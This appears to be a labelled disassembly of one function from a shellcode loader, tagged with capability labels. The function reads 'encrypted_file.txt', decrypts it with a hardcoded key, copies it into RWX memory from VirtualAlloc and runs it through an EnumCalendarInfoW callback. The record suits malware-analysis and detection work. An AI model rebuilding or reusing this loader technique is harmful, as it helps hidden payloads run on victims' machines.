Function at 0x140005460
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rsi
push rdi
sub rsp, 0x228
call fcn.140004394
lea rdx, str.encrypted_file.txt
lea rcx, [rsp + 0xb0]
call fcn.14000252c
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rdx, [rsp + 0xb0]
lea rcx, [rsp + 0x110]
call fcn.140002370
nop
mov r8d, 2
xor edx, edx
lea rcx, [rsp + 0x110]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x110]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
mov rcx, rax
call fcn.140002de4
mov qword [rsp + 0x38], rax
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x110]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
lea rcx, [rsp + 0x30]
call fcn.140001914
mov r8, rax
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x78]
call fcn.140002694
nop
lea rcx, [rsp + 0x78]
call fcn.140003d54
mov r8, qword [rsp + 0x38]
mov rdx, rax
lea rcx, [rsp + 0x110]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x110]
call fcn.140003f2c
lea rax, [rsp + 0x90]
lea rcx, str.kujghioauf
mov rdi, rax
mov rsi, rcx
mov ecx, 0xb
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x58], 0xa
lea rcx, [rsp + 0x78]
call fcn.140003d54
mov r9, qword [rsp + 0x58]
lea r8, [rsp + 0x90]
mov rdx, qword [rsp + 0x38]
mov rcx, rax
call fcn.1400050e4
mov rcx, qword [rsp + 0x38]
call fcn.140005750
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x78]
call fcn.14000403c
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x78]
call fcn.140003e40
mov r8, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rcx]
mov rcx, qword [rax]
call fcn.140001f60
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, qword [rsp + 0x38]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x50], rax
mov r8, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
call sub.VCRUNTIME140.dll_memmove
lea rdx, str.open
lea rcx, [rsp + 0xd0]
call fcn.1400025c0
mov r9d, 0x15
mov r8d, 0xffffffff
mov edx, 0x400
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x70]
call fcn.140005748
mov dword [rsp + 0x40], 0
lea rcx, [rsp + 0xd0]
call fcn.140002bec
nop
lea rcx, [rsp + 0x78]
call fcn.140002c4c
nop
lea rcx, [rsp + 0x110]
call fcn.140002ec8
nop
lea rcx, [rsp + 0xb0]
call fcn.140002bc4
mov eax, dword [rsp + 0x40]
add rsp, 0x228
pop rdi
pop rsi
ret